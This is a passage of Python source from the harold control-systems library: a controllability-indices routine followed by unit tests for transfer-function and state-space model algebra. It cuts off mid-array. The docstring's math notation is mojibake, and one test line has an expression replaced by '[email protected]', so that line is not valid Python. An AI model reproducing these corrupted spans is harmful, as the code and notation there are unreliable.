np.max(np.abs(f)) else: gamma_lb = np.max(norm(f, ord=2, axis=2)) return (gamma_lb + gamma_ub)/2 def controllability_indices(A, B, tol=None): """Computes the controllability indices for a controllable pair (A, B) Controllability indices are defined as the maximum number of independent columns per input column of B in the following sense: consider the Kalman controllability matrix (widely known as Krylov sequence) :: C = [B, AB, ..., A^(n-1)B] We start testing (starting from the left-most) every column of this matrix whether it is a linear combination of the previous columns. Obviously, since C is (n x nm), there are many ways to pick a linearly independent subset. We select a version from [1]_. If a new column is dependent we delete that column and keep doing this until we are left with a full-rank square matrix (this is guaranteed if (A, B) is controllable). Then at some point, we are necessarily left with columns that are obtained from different input columns :: ฬ…C = [bโ‚,bโ‚‚,bโ‚ƒ...,Abโ‚,Abโ‚ƒ,...,Aยฒbโ‚,Aยฒbโ‚ƒ,...,Aโฝแตโปยนโพbโ‚ƒ,...] For example, it seems like Abโ‚‚ is deleted due to dependence on the previous columns to its left. It can be shown that the higher powers will also be dependent and can be removed too. By reordering these columns, we combine the terms that involve each bโฑผ :: ฬ…C = [bโ‚,Abโ‚,Aยฒbโ‚,bโ‚‚,bโ‚ƒ,Abโ‚ƒ,Aยฒbโ‚ƒ,...,Aโฝแตโปยนโพbโ‚ƒ,...] The controllability index associated with each input column is defined as the number of columns per bโฑผ appearing in the resulting matrix. Here, 3 for first input 1 for second and so on. If B is not full rank then the index will be returned as 0 as that column bโฑผ will be dropped too. Parameters ---------- A : ndarray 2D (n, n) real-valued array B : ndarray 2D (n, m) real-valued array tol : float Tolerance value for the Arnoldi iteration to decide linear dependence. By default it is `sqrt(eps)*nยฒ` Returns ------- ind : ndarray 1D array that holds the computed controllability indices. The sum of the values add up to `n` if (A, B) is controllable. Notes ----- Though internally not used, this function can also be used as a controllability/observability test by summing up the resulting indices and comparing to `n`. References ---------- .. [1] : <NAME>, "Linear Multivariable Control: A Geometric Approach", 3rd edition, 1985, Springer, ISBN:9780387960715 """ a, _ = _makearray(A) b, _ = _makearray(B) _assertRank2(a, b) _assertNoEmpty2d(a, b) _assertNdSquareness(a) n, m = b.shape if a.shape[0] != b.shape[0]: raise ValueError("A and B should have the same number of rows") # FIXME: Tolerance is a bit arbitrary for now!! tol = np.sqrt(np.spacing(1.))*n**2 if tol is None else tol # Will be populated below remaining_cols = np.arange(m) indices = np.zeros(m, dtype=int) # Get the orthonormal columns of b first q, r, p = qr(b, mode='economic', pivoting=True) rank_b = sum(np.abs(np.diag(r)) > max(m, n)*np.spacing(norm(b, 2))) remaining_cols = remaining_cols[p][:rank_b].tolist() q = q[:, :rank_b] indices[remaining_cols] += 1 w = np.empty((n, 1), dtype=float) # Start the iteration - at most n-1 spins for k in range(1, n): # prepare new A @ Q test vectors q_bank = a @ q[:, -len(remaining_cols):] for ind, col in enumerate(remaining_cols.copy()): w[:] = q_bank[:, [ind]] for reorthogonalization in range(2): w -= ((q.T @ w).T * q).sum(axis=1, keepdims=True) normw = norm(w) if normw <= tol: remaining_cols.remove(col) continue else: q = np.append(q, w/normw, axis=1) indices[col] += 1 if len(remaining_cols) == 0: break return indices ``` #### File: harold/tests/test_classes.py ```python import numpy as np from numpy.linalg import LinAlgError from numpy.random import seed from harold import (Transfer, State, e_i, haroldcompanion, transmission_zeros, state_to_transfer, transfer_to_state, random_state_model, concatenate_state_matrices) from numpy.testing import (assert_, assert_equal, assert_array_equal, assert_raises, assert_almost_equal, assert_array_almost_equal) def test_concatenate_state_matrices(): G = State(1, 2, 3, 4) M = concatenate_state_matrices(G) assert_array_equal(M, np.array([[1, 2], [3, 4]])) # 1 G = State(np.eye(4)) assert_array_equal(concatenate_state_matrices(G), np.eye(4)) def test_Transfer_Instantiations(): assert_raises(TypeError, Transfer) # Double list is MIMO, num is SISO --> Static! G = Transfer(1, [[1, 2, 1]]) assert_equal(len(G.num), 1) assert_equal(len(G.num[0]), 3) assert_equal(G.shape, (1, 3)) assert_(G._isgain) G = Transfer(1, np.array([[2, 1, 1]])) assert_(G._isSISO) G = Transfer([[1]], [1, 2, 1]) assert_(G._isSISO) assert_equal(G.num.shape, (1, 1)) assert_equal(G.den.shape, (1, 3)) G = Transfer([[1, 2]], [1, 2, 1]) assert_(not G._isSISO) assert_equal(len(G.num[0]), 2) assert_equal(len(G.den[0]), 2) assert_equal(G.shape, (1, 2)) num = [[np.array([1, 2]), 1], [np.array([1, 2]), 0]] den = [1, 4, 4] G = Transfer(num, den) assert_equal(len(G.num), 2) assert_equal(len(G.num[0]), 2) assert_equal(G.shape, (2, 2)) G = Transfer(1) assert_(G._isSISO) assert_equal(G.num, np.array([[1]])) assert_equal(G.den, np.array([[1]])) G = Transfer(None, 1) assert_(G._isSISO) assert_equal(G.num, np.array([[1]])) assert_equal(G.den, np.array([[1]])) G = Transfer(np.random.rand(3, 2)) assert_(not G._isSISO) assert_equal(G.shape, (3, 2)) assert_equal(G.poles.size, 0) assert_raises(IndexError, Transfer, np.ones((3, 2)), [[[1, 2], [1, 1]]]) def test_Transfer_property(): G = Transfer([1, 1], [1, 1, 1]) assert G.DiscretizedWith is None G.SamplingPeriod = 0.1 G.DiscretizedWith = 'zoh' assert G.DiscretizedWith == 'zoh' G = Transfer([1, 1], [1, 1, 1]) G.num = [1, 2, 1] with assert_raises(IndexError): G.num = [[1, [1, 2]]] G.den = [1, 2, 1] with assert_raises(IndexError): G.den = [[[1, 2, 3], [1, 2, 5]]] with assert_raises(ValueError): G.DiscretizedWith = 'zoh' with assert_raises(ValueError): G.DiscretizationMatrix = 1. G = Transfer([0.1, 0.1, -0.5], [1, 1.3, 0.43], 0.1) with assert_raises(ValueError): G.DiscretizedWith = 'some dummy method' G.DiscretizedWith = 'lft' G.DiscretizationMatrix = np.array([[1, 2], [1.5, 5.]]) # dummy array assert_array_equal(G.DiscretizationMatrix, np.array([[1, 2], [1.5, 5.]])) with assert_raises(ValueError): G.DiscretizationMatrix = [1., 1.] with assert_raises(ValueError): G.PrewarpFrequency = 200 G = Transfer([1, 1], [1, 1, 1], dt=0.1) G.DiscretizedWith = 'tustin' G.PrewarpFrequency = 0.02 assert G.PrewarpFrequency == 0.02 def test_Transfer_to_array(): G = Transfer(1, [1, 1]) H = Transfer(2, 10) with assert_raises(ValueError): G.to_array() assert_equal(H.to_array(), np.array([[.2]])) assert_equal(Transfer(np.arange(9, 90, 9).reshape(3, 3), 9*np.ones((3, 3))).to_array(), np.arange(1, 10).reshape(3, 3)) def test_Transfer_algebra_mul_rmul_dt(): G = Transfer(1, [1, 2], dt=0.1) F = Transfer(1, [1, 3]) with assert_raises(ValueError): F*G def test_Transfer_algebra_truediv_rtruediv(): G = Transfer(1, [1, 2]) F = G/0.5 assert_equal(F.num, np.array([[2.]])) assert_equal(F.den, np.array([[1., 2.]])) # invert a nonproper system with assert_raises(ValueError): G/G # invert a singular system with assert_raises(LinAlgError): 1 / (np.ones((2, 2))*(1+G)) with assert_raises(ValueError): G/3j # invert an invertible system J = 1 / (np.eye(2) * G + np.array([[1, 2], [3, 4]])) nn, dd = J.polynomials nnact = np.array([[x[0].tolist() for x in y] for y in nn]) ddact = np.array([[x[0].tolist() for x in y] for y in dd]) nndes = np.array([[[-2., -8.5, -9.], [1., 4., 4.]], [[1.5, 6., 6.], [-0.5, -2.5, -3.]]]) dddes = np.array([[[1., 1.5, -1.5], [1., 1.5, -1.5]], [[1., 1.5, -1.5], [1., 1.5, -1.5]]]) assert_array_almost_equal(nnact, nndes) assert_array_almost_equal(ddact, dddes) G = Transfer(np.eye(3)*0.5) assert_array_almost_equal((1 / G).to_array(), np.eye(3)*2) def test_Transfer_algebra_mul_rmul_scalar_array(): NUM = [[[12], [-18]], [[6], [-24]]] DEN = [[[14, 1.], [21., 1.]], [[7, 1.], [49, 1.]]] G = Transfer(NUM, DEN) for H in (np.eye(2)*G, G*np.eye(2)): assert_equal(H.num[0][1], np.array([[0.]])) assert_equal(H.num[1][0], np.array([[0.]])) assert_equal(H.den[0][1], np.array([[1.]])) assert_equal(H.den[1][0], np.array([[1.]])) assert_equal(H.num[0][0], G.num[0][0]) assert_equal(H.num[1][1], G.num[1][1]) assert_equal(H.den[0][0], G.den[0][0]) assert_equal(H.den[1][1], G.den[1][1]) H = 1/6*G assert_equal(float(H.num[0][0]), 2.) assert_equal(float(H.num[0][1]), -3.) assert_equal(float(H.num[1][0]), 1.) assert_equal(float(H.num[1][1]), -4.) G = Transfer([[1, 2]], [1, 1]) H = np.array([2, 1]) * G assert_array_equal(H.num[0][0], np.array([[2.]])) assert_array_equal(H.num[0][1], np.array([[2.]])) H = np.array([2, 0]) * G assert_array_equal(H.num[0][1], np.array([[0.]])) assert_array_equal(H.den[0][1], np.array([[1.]])) H = np.array([[2]]) * G assert_array_equal(H.num[0][0], np.array([[2.]])) assert_array_equal(H.num[0][1], np.array([[4.]])) with assert_raises(ValueError): H = np.array([2+1j, 1]) * G J = H*0. assert_array_equal(J.num[0][0], np.array([[0.]])) assert_array_equal(J.num[0][1], np.array([[0.]])) assert_array_equal(J.den[0][0], np.array([[1.]])) assert_array_equal(J.den[0][1], np.array([[1.]])) G = Transfer(1, [1, 1]) H = G*0. assert_array_equal(H.num, np.array([[0.]])) assert_array_equal(H.den, np.array([[1.]])) def test_Transfer_algebra_mul_rmul_siso_mimo(): F = Transfer(2, [1, 1]) H = Transfer(np.arange(1, 5).reshape(2, 2), [1, 2]) K = Transfer([1, 3], [1, 0, 1]) FK_num, FK_den = (F*K).polynomials assert_equal(FK_num, np.array([[2, 6]])) assert_equal(FK_den, np.array([[1, 1, 1, 1]])) for J in (F*H, H*F): for x in range(2): for y in range(2): assert_equal(J.num[x][y], np.array([[(1+y+2*x)*2]])) assert_equal(J.den[x][y], np.array([[1, 3, 2]])) H = Transfer([1, 2], [1, 2, 3])*np.arange(1, 5).reshape(2, 2) HH = H*H for x in range(4): assert_equal(sum(HH.den, [])[x], np.array([[1., 4., 10., 12., 9.]])) assert_equal(sum(HH.num, [])[x], (x+1)**2 * np.array([[1., 4., 4.]])) F = Transfer(1, [1, 1]) H = State(1, 2, 3, 4, 0.1) with assert_raises(ValueError): F*H with assert_raises(ValueError): F*'string' def test_Transfer_algebra_matmul_rmatmul(): G = Transfer([[1, [1, 1]]], [[[1, 2, 1], [1, 1]]]) H = Transfer([[[1, 3]], [1]], [1, 2, 1]) F = G @ H assert_almost_equal(F.num, np.array([[1, 3, 4]])) assert_almost_equal(F.den, np.array([[1, 4, 6, 4, 1]])) F = H @ G assert_almost_equal(F.num[0][0], np.array([[1, 3]])) assert_almost_equal(F.num[0][1], np.array([[1, 4, 3]])) assert_almost_equal(F.num[1][0], np.array([[1]])) assert_almost_equal(F.num[1][1], np.array([[1, 1]])) assert_almost_equal(F.den[0][0], np.array([[1, 4, 6, 4, 1]])) assert_almost_equal(F.den[0][1], np.array([[1, 3, 3, 1]])) assert_almost_equal(F.den[1][0], F.den[0][0]) assert_almost_equal(F.den[1][1], F.den[0][1]) F = Transfer(2) @ Transfer(np.eye(2)) @ Transfer(2) assert_equal(F.to_array(), 4*np.eye(2)) G = Transfer([[1, 2]], [1, 1]) H = np.array([[2], [1]]) @ G assert_array_equal(H.num[0][0], np.array([[2.]])) assert_array_equal(H.num[0][1], np.array([[4.]])) assert_array_equal(H.num[1][0], np.array([[1.]])) assert_array_equal(H.num[1][1], np.array([[2.]])) G = Transfer([[1, 2]], [1, 1]) H = G @ np.array([[2], [1]]) assert H._isSISO assert_array_almost_equal(H.num, np.array([[4.]])) assert_array_almost_equal(H.den, np.array([[1., 1.]])) H = np.array([[2]]) @ G assert_array_equal(H.num[0][0], np.array([[2.]])) assert_array_equal(H.num[0][1], np.array([[4.]])) with assert_raises(ValueError): H = np.array([2+1j, 1]) * G J = H*0. assert_array_equal(J.num[0][0], np.array([[0.]])) assert_array_equal(J.num[0][1], np.array([[0.]])) assert_array_equal(J.den[0][0], np.array([[1.]])) assert_array_equal(J.den[0][1], np.array([[1.]])) G = Transfer(1, [1, 1]) H = G*0. assert_array_equal(H.num, np.array([[0.]])) assert_array_equal(H.den, np.array([[1.]])) def test_Transfer_algebra_neg_add_radd(): G = Transfer(1, [1, 2, 1]) assert_equal(-(G.num), (-G).num) H = Transfer([1, 1], [1, 0.2], 0.1) with assert_raises(ValueError): G + H G, H = Transfer(1), Transfer(2) assert_equal((G+H).num, np.array([[3.]])) G, H = Transfer(1), State(5) assert isinstance(G+H, State) G = Transfer(1, [1, 1]) assert_equal((G+(-G)).num, np.array([[0.]])) assert_almost_equal((G + 5).num, np.array([[5, 6]])) G = Transfer([[1, 2]], [1, 1]) H = G + np.array([[3, 4]]) assert_equal(H.num[0][0], np.array([[3., 4.]])) with assert_raises(IndexError): G + np.array([3, 4]) G = Transfer([[1, [1, 1]]], [[[1, 2, 1], [1, 1]]]) F = - G assert_almost_equal(G.num[0][0], -F.num[0][0]) assert_almost_equal(G.num[0][1], -F.num[0][1]) H = F + G for x in range(2): assert_array_equal(H.num[0][x], np.array([[0]])) assert_array_equal(H.den[0][x], np.array([[1]])) G = Transfer(1, [1, 2, 3]) F = 5 + G assert_almost_equal(F.num, np.array([[5, 10, 16.]])) assert_almost_equal(F.den, G.den) F = G + 3 assert_almost_equal(F.num, np.array([[3, 6, 10.]])) assert_almost_equal(F.den, G.den) F = F * 5 assert_almost_equal(F.num, np.array([[15, 30, 50]])) assert_almost_equal(F.den, G.den) F *= 0.4 assert_almost_equal(F.num, np.array([[6, 12, 20]])) assert_almost_equal(F.den, G.den) num1 = [[[1., 2.], [0., 3.], [2., -1.]], [[1.], [4., 0.], [1., -4., 3.]]] den1 = [[[-3., 2., 4.], [1., 0., 0.], [2., -1.]], [[3., 0., .0], [2., -1., -1.], [1., 0, 0, 4]]] num2 = [[[0, 0, 0, -1], [2.], [-1., -1.]], [[1., 2.], [-1., -2.], [4.]]] den2 = [[[-1.], [1., 2., 3.], [-1., -1.]], [[-4., -3., 2.], [0., 1.], [1., 0.]]] G = Transfer(num1, den1) assert_raises(ValueError, Transfer, num2, den2) den2[1][1] = [2, -1, -1] F = Transfer(num2, den2) H = G + F # Flatten list of lists via sum( , []) trick Hnum = [np.array([[-1., 5/3, 10/3]]), np.array([[5., 6., 9.]]), np.array([[1., 0.5, -0.5]]), np.array([[1., 3., 0.75, -0.5]]), np.array([[3., -2.]]), np.array([[5., -4., 3., 16.]]) ] Hden = [np.array([[1., -2/3, -4/3]]), np.array([[1., 2., 3., 0., 0.]]), np.array([[1., 0.5, -0.5]]), np.array([[1., 0.75, -0.5, 0., 0.]]), np.array([[1., -0.5, -0.5]]), np.array([[1., 0., 0., 4., 0.]]) ] Hnum_computed = sum(H.num, []) Hden_computed = sum(H.den, []) for x in range(np.multiply(*H.shape)): assert_almost_equal(Hnum[x], Hnum_computed[x]) assert_almost_equal(Hden[x], Hden_computed[x]) def test_Transfer_slicing(): Hind = [(1, 5), (4, 1), (4, 5), (1, 1), (2, 5), (4, 2), (2, 5), (4, 2), (1, 2), (2, 1), (2, 5), (4, 3)] np.random.seed(1234) H = state_to_transfer(State(np.random.rand(3, 3), np.random.rand(3, 5), np.random.rand(4, 3))) F = Transfer(np.random.rand(4, 5)) for s, sind in ((H, Hind), (F, Hind)): for ind, x in enumerate([s[1, :], s[:, 1], s[:, :], s[0, 0], s[1:3, :], s[:, 1:3], s[[1, 2], :], s[:, [1, 2]], s[2, [1, 2]], s[[1, 2], 2], s[::2, :], s[:, ::2]]): assert_equal(x.shape, sind[ind]) assert_raises(ValueError, H.__setitem__) def test_State_Instantiations(): assert_raises(TypeError, State) G = State(5) assert_(G.a.size == 0) assert_(G._isSISO) assert_(G._isgain) assert_equal(G.d, np.array([[5.]])) G = State(np.eye(2)) assert_equal(G.shape, (2, 2)) assert_(G._isgain) assert_(not G._isSISO) # Wrong sized A, B, C, D assert_raises(ValueError, State, np.ones((3, 2)), [[1], [2]], [1, 2]) assert_raises(ValueError, State, np.eye(2), [[1], [2], [3]], [1, 2]) assert_raises(ValueError, State, np.eye(2), [[1], [2]], [1, 2, 3]) assert_raises(ValueError, State, np.eye(2), [[1], [2]], [1, 2], [0, 0]) def test_State_to_array(): G = State(1, 1, 1) H = State(5) with assert_raises(ValueError): G.to_array() assert_equal(H.to_array(), np.array([[5]])) H = State(np.ones((4, 4))) assert_equal(H.to_array(), np.ones((4, 4))) def test_State_algebra_mul_rmul_dt(): G = State(1, 2, 3, 4, dt=0.1) F = State(4, 3, 2, 1) with assert_raises(ValueError): F*G with assert_raises(ValueError): G*F def test_State_algebra_truediv_rtruediv(): G = State(1, 2, 3, 4) F = G/0.5 assert_equal(F.b, np.array([[4.]])) assert_equal(F.d, np.array([[8.]])) G.d = 0. with assert_raises(LinAlgError): G/G with assert_raises(ValueError): G/3j G.d = 4 # nonminimal but acceptable H = G / G ha, hb, hc, hd = H.matrices assert_array_almost_equal(ha, [[1, -1.5], [0, -0.5]]) assert_array_almost_equal(hb, [[0.5], [0.5]]) assert_array_almost_equal(hc, [[3, -3]]) assert_array_almost_equal(hd, [[1]]) G = State(np.eye(3)*0.5) assert_array_almost_equal((1 / G).to_array(), np.eye(3)*2) def test_State_algebra_mul_rmul_scalar_array(): G = State(np.diag([-1, -2]), [[1, 2], [3, 4]], np.eye(2)) F = G*np.eye(2) Fm = [email protected](2) assert_equal(concatenate_state_matrices(F), concatenate_state_matrices(Fm)) F = np.eye(2)*G Fm = np.eye(2)@G assert_equal(concatenate_state_matrices(F), concatenate_state_matrices(Fm)) H = 1/2*G assert_equal(H.c, 0.5*G.c) def test_State_matmul_rmatmul_ndarray(): H = State([[-5, -2], [1, 0]], [[2], [0]], [3, 1], 1) J1 = np.array([[-5., -2., 0., 0., 0., 0., 2., 4., 6., 8.], [1., 0., 0., 0., 0., 0., 0., 0., 0., 0.], [0., 0., -5., -2., 0., 0., 10., 12., 14., 16.], [0., 0., 1., 0., 0., 0., 0., 0., 0., 0.], [0., 0., 0., 0., -5., -2., 18., 20., 22., 24.], [0., 0., 0., 0., 1., 0., 0., 0., 0., 0.], [3., 1., 0., 0., 0., 0., 1., 2., 3., 4.], [0., 0., 3., 1., 0., 0., 5., 6., 7., 8.], [0., 0., 0., 0., 3., 1., 9., 10., 11., 12.]]) J2 = np.array([[-5., -2., 0., 0., 0., 0., 2., 0., 0.], [1., 0., 0., 0., 0., 0., 0., 0., 0.], [0., 0., -5., -2., 0., 0., 0., 2., 0.], [0., 0., 1., 0., 0., 0., 0., 0., 0.], [0., 0., 0., 0., -5., -2., 0., 0., 2.], [0., 0., 0., 0., 1., 0., 0., 0., 0.], [3., 1., 6., 2., 9., 3., 1., 2., 3.], [12., 4., 15., 5., 18., 6., 4., 5., 6.], [21., 7., 24., 8., 27., 9., 7., 8., 9.], [30., 10., 33., 11., 36., 12., 10., 11., 12.]]) mat = np.arange(1, 13).reshape(3, 4) Fm = concatenate_state_matrices(mat @ H) assert_array_almost_equal(J1, Fm) Fm = concatenate_state_matrices(H @ mat) assert_array_almost_equal(J1, Fm) mat = np.arange(1, 13).reshape(4, 3) Fm = concatenate_state_matrices(mat @ H) assert_array_almost_equal(J2, Fm) Fm = concatenate_state_matrices(H @ mat) assert_array_almost_equal(J2, Fm) G, H = random_state_model(2, 2, 2), random_state_model(2, 3, 3) with assert_raises(ValueError): G @ H # Scalars G = random_state_model(1) H = 0. @ G assert H._isgain H = 1. @ G assert_almost_equal(concatenate_state_matrices(G), concatenate_state_matrices(H)) # static gain mults G = random_state_model(0, 4, 5) H = random_state_model(0, 5, 4) assert (G@H)._isgain assert_equal((G@H).shape, (4, 4)) H = random_state_model(0, 3, 3) with assert_raises(ValueError): G @ H G = State(1.) H = random_state_model(1, 2, 2) assert_almost_equal(concatenate_state_matrices(G @ H), concatenate_state_matrices(H @ G)) G = random_state_model(1, 4, 5) H = random_state_model(1, 4, 5) with assert_raises(ValueError): G @ H def test_State_algebra_mul_rmul_mimo_siso(): sta_siso = State(5) sta_mimo = State(2.0*np.eye(3)) dyn_siso = State(haroldcompanion([1, 3, 3, 1]), e_i(3, -1), e_i(3, 1).T) dyn_mimo = State(haroldcompanion([1, 3, 3, 1]), e_i(3, [1, 2]), np.eye(3)) dyn_mimo_sq = State(haroldcompanion([1, 3, 3, 1]), np.eye(3), np.eye(3)) G = dyn_siso * dyn_mimo J = np.array([[0., 1., 0., 0., 0., 0., 0., 0., 0., 0., 0.], [0., 0., 1., 0., 1., 0., 0., 0., 0., 0., 0.], [-1., -3., -3., 0., 0., 0., 0., 1., 0., 0., 0.], [0., 0., 0., 0., 1., 0., 0., 0., 0., 0., 0.], [0., 0., 0., 0., 0., 1., 0., 0., 0., 0., 0.], [0., 0., 0., -1., -3., -3., 0., 0., 0., 1., 0.], [0., 0., 0., 0., 0., 0., 0., 1., 0., 0., 0.], [0., 0., 0., 0., 0., 0., 0., 0., 1., 0., 0.], [0., 0., 0., 0., 0., 0., -1., -3., -3., 0., 1.], [1., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0.], [0., 1., 0., 0., 0., 0., 0., 0., 0., 0., 0.], [0., 0., 1., 0., 0., 0., 0., 0., 0., 0., 0.]]) assert_array_almost_equal(concatenate_state_matrices(G), J) G = dyn_mimo * dyn_siso assert_array_almost_equal(concatenate_state_matrices(G), J) G = dyn_mimo * sta_siso assert_array_almost_equal(G.b, 5*dyn_mimo.b) assert_array_almost_equal(G.d, 5*dyn_mimo.d) assert_raises(ValueError, sta_mimo.__add__, dyn_mimo) F = sta_mimo @ dyn_mimo J = np.array([[0., 1., 0., 0., 0.], [0., 0., 1., 1., 0.], [-1., -3., -3., 0., 1.], [2., 0., 0., 0., 0.], [0., 2., 0., 0., 0.], [0., 0., 2., 0., 0.]]) assert_array_almost_equal(concatenate_state_matrices(F), J) assert_almost_equal((dyn_mimo_sq + sta_mimo).d, 2*np.eye(3)) def test_State_algebra_add_radd(): sta_siso = State(5) sta_mimo = State(2.0*np.eye(3)) dyn_siso = State(haroldcompanion([1, 3, 3, 1]), e_i(3, -1), e_i(3, 1).T) dyn_mimo = State(haroldcompanion([1, 3, 3, 1]), e_i(3, [1, 2]), np.eye(3)) dyn_mimo_sq = State(haroldcompanion([1, 3, 3, 1]), np.eye(3), np.eye(3)) G = dyn_mimo + sta_siso assert_array_almost_equal(G.d, sta_siso.to_array()*np.ones(dyn_mimo.shape)) assert_raises(ValueError, dyn_mimo.__add__, sta_mimo) G = dyn_mimo_sq + sta_mimo assert_array_almost_equal(G.d, 2.*np.eye(3)) G = dyn_mimo + dyn_siso J = np.array([[0., 1., 0., 0., 0., 0., 0., 0.], [0., 0., 1., 0., 0., 0., 1., 0.], [-1., -3., -3., 0., 0., 0., 0., 1.], [0., 0., 0., 0., 1., 0., 0., 0.], [0., 0., 0., 0., 0., 1., 0., 0.], [0., 0., 0., -1., -3., -3., 1., 1.], [1., 0., 0., 0., 1., 0., 0., 0.], [0., 1., 0., 0., 1., 0., 0., 0.], [0., 0., 1., 0., 1., 0., 0., 0.]]) assert_array_almost_equal(concatenate_state_matrices(G), J) assert_raises(ValueError, dyn_mimo.__add__, dyn_mimo_sq) assert_raises(ValueError, dyn_mimo.__sub__, dyn_mimo_sq) assert_raises(ValueError, dyn_mimo.__radd__, dyn_mimo_sq) assert_raises(ValueError, dyn_mimo.__rsub__, dyn_mimo_sq) def test_State_slicing(): F = State(1, 2, 3, 4) F0 = F[0, 0] assert_equal(concatenate_state_matrices(F), concatenate_state_matrices(F0)) F = State(np.random.rand(4, 4)) H = State(F.d, np.random.rand(4, 3), np.random.rand(5, 4)) Hind = [(1, 3), (5, 1), (5, 3), (1, 1), (2, 3), (5, 2), (2, 3), (5, 2), (1, 2), (2, 1), (3, 3), (5, 2)] Find = [(1, 4), (4, 1), (4, 4), (1, 1), (2, 4), (4, 2), (2, 4), (4, 2), (1, 2), (2, 1), (2, 4), (4, 2)] for s, sind in ((H, Hind), (F, Find)): for ind, x in enumerate([s[1, :], s[:, 1], s[:, :], s[0, 0], s[1:3, :], s[:, 1:3], s[[1, 2], :], s[:, [1, 2]], s[2, [1, 2]], s[[1, 2], 2], s[::2, :], s[:, ::2]]): assert_equal(x.shape, sind[ind]) assert_raises(ValueError, H.__setitem__) def test_model_zeros(): # Test example A = np.array( [[-3.93, -0.00315, 0, 0, 0, 4.03E-5, 0, 0, 0], [368, -3.05, 3.03, 0, 0, -3.77E-3, 0, 0, 0], [27.4, 0.0787, -5.96E-2, 0, 0, -2.81E-4, 0, 0, 0], [-0.0647, -5.2E-5, 0, -0.255, -3.35E-6, 3.6e-7, 6.33E-5, 1.94E-4, 0], [3850, 17.3, -12.8, -12600, -2.91, -0.105, 12.7, 43.1, 0], [22400, 18, 0, -35.6, -1.04E-4, -0.414, 90, 56.9, 0], [0, 0, 2.34E-3, 0, 0, 2.22E-4, -0.203, 0, 0], [0, 0, 0, -1.27, -1.00E-3, 7.86E-5, 0, -7.17E-2, 0], [-2.2, -177e-5, 0, -8.44, -1.11E-4, 1.38E-5, 1.49E-3, 6.02E-3, -1E-10] ]) B = np.array([[0, 0], [0, 0], [1.56, 0], [0, -5.13E-6], [8.28, -1.55], [0, 1.78], [2.33, 0], [0, -2.45E-2], [0, 2.94E-5] ]) C = e_i(9, [5, 8], output='r') D = np.zeros((2, 2)) zs = transmission_zeros(A, B, C, D) res = np.array([-2.64128629e+01 - 0j, -2.93193619 - 0.419522621j, -9.52183370e-03 + 0j, -2.93193619 + 0.419522621j, 1.69789270e-01 - 0j, 5.46527700e-01 - 0j]) # Sort is numerically too sensitive for imaginary parts. assert_almost_equal(np.sort(np.imag(zs)), np.sort(np.imag(res))) # 0.0 assert_almost_equal(np.sort(np.real(zs)), np.sort(np.real(res))) # 0.1 # An example found online (citation lost), please let me know A = np.array([[-6.5000, 0.5000, 6.5000, -6.5000], [-0.5000, -5.5000, -5.5000, 5.5000], [-0.5000, 0.5000, 0.5000, -6.5000], [-0.5000, 0.5000, -5.5000, -0.5000]]) B = np.array([[0., 1, 0], [2., 1, 2], [3., 4, 3], [3., 2, 3]]) C = np.array([[1, 1, 0, 0]]) D = np.zeros((1, 3)) zs = transmission_zeros(A, B, C, D) res = np.array([-7, -6]) assert_almost_equal(np.sort(res), np.sort(zs)) # 1 # Example from Reinschke, 1988 A = np.array([[0, 0, 1, 0, 0, 0], [2, 0, 0, 3, 4, 0], [0, 0, 5, 0, 0, 6], [0, 7, 0, 0, 0, 0], [0, 0, 0, 8, 9, 0], [0, 0, 0, 0, 0, 0]]) B = np.array([[0, 0, 0, 0, 10, 0], [0, 0, 0, 0, 0, 11]]).T C = np.array([[0, 12, 0, 0, 13, 0], [14, 0, 0, 0, 0, 0], [15, 0, 16, 0, 0, 0]]) D = np.zeros((3, 2)) zs = transmission_zeros(A, B, C, D) res = np.array([-6.78662791+0.j, 3.09432022+0.j]) assert_almost_equal(np.sort(zs), np.sort(res)) # 2 def test_static_model_conversion_sampling_period(): G = State(np.eye(5), dt=0.001) H = state_to_transfer(G) assert_(H._isgain) # 0 assert_(not H._isSISO) # 1 assert_equal(H.SamplingPeriod, 0.001) # 2 K = transfer_to_state(H) assert_equal(K.SamplingPeriod, 0.001) # 3 def test_random_state_model(): seed(12345) # Simple arguments G = random_state_model(0) assert G._isgain assert G._isSISO G = random_state_model(1) assert not G._isgain assert G._isSISO G = random_state_model(1, 1, 2) assert not G._isgain assert not G._isSISO G = random_state_model(5, 2, 4, stable=False) assert np.any(G.poles.real > 0) G = random_state_model(11, stable=False, prob_dist=[0, 0, 0.5, 0.5]) assert_array_almost_equal(np.abs(G.poles.real), np.zeros(11)) assert np.any(G.poles.imag) a1 = random_state_model(101, dt=0.1).poles assert np.all(np.abs(a1) <= 1.) def test_basic_pole_properties(): G = Transfer(0.5, [1, 4, 3]) + 5 zzz = G.pole_properties() assert_array_almost_equal(zzz, np.array([[-1.+0.j, 1.+0.j, 1.+0.j], [-3.+0.j, 3.+0.j, 1.+0.j]])) def test_transfer_to_state(): # Models with static column/row num, den = [[1, -1], [[1, -1], 0]], [[[1, 2], 1], [[1, 2], 1]] den2, num2 = [list(i) for i in zip(*den)], [list(i) for i in zip(*num)] G = Transfer(num, den) H = Transfer(num2, den2) Gs = transfer_to_state(G) Hs = transfer_to_state(H) Gm = concatenate_state_matrices(Gs) Hm = concatenate_state_matrices(Hs) assert_array_almost_equal(Gm, np.array([[-2, 1, 0], [1, 0, -1], [-3, 1, 0]])) assert_array_almost_equal(Hm, np.array([[-2., 0., 1., 0.], [0., -2., 0., 1.], [1., -3., 0., 1.], [0., 0., -1., 0.]])) # Example from Kalman 1963 num = [[3*np.poly([-3, -5]), [6, 6], [2, 7], [2, 5]], [2, 1, [2, 10], [8, 16]], [[2, 14, 36], [-2, 0], 1, 2*np.convolve([5, 17], [1, 2])]] den = [[np.poly([-1, -2, -4]), [1, 6, 8], [1, 7, 12], [1, 5, 6]], [[1, 8, 15], [1, 3], np.poly([-1, -2, -3]), np.poly([-1, -3, -5])], [np.poly([-1, -3, -5]), [1, 4, 3], [1, 3], np.poly([-1, -3, -5])]] G = Transfer(num, den) H = transfer_to_state(G) p = H.poles p.sort() assert_array_almost_equal(p, np.array([-5.+0.j, -5.+0.j, -4.+0.j, -3.+0.j, -3.+0.j, -3.+0.j, -2.+0.j, -2.+0.j, -1.+0.j, -1.+0.j, -1.+0.j])) # Reported in gh-#42 G = Transfer([[[87.8, 8.78], [-103.68, -8.64]], [[129.84, 10.82], [-109.6, -10.96]]], [562.5, 82.5, 1]) Gss = transfer_to_state(G) assert_array_almost_equal(Gss.a, np.kron(np.eye(2), [[0., 1.], [-2/1125, -11/75]])) assert_array_almost_equal(Gss.b, [[0, 0], [1, 0], [0, 0], [0, 1]]) des_c = np.array([[0.01560888888888889, 0.1560888888888889, 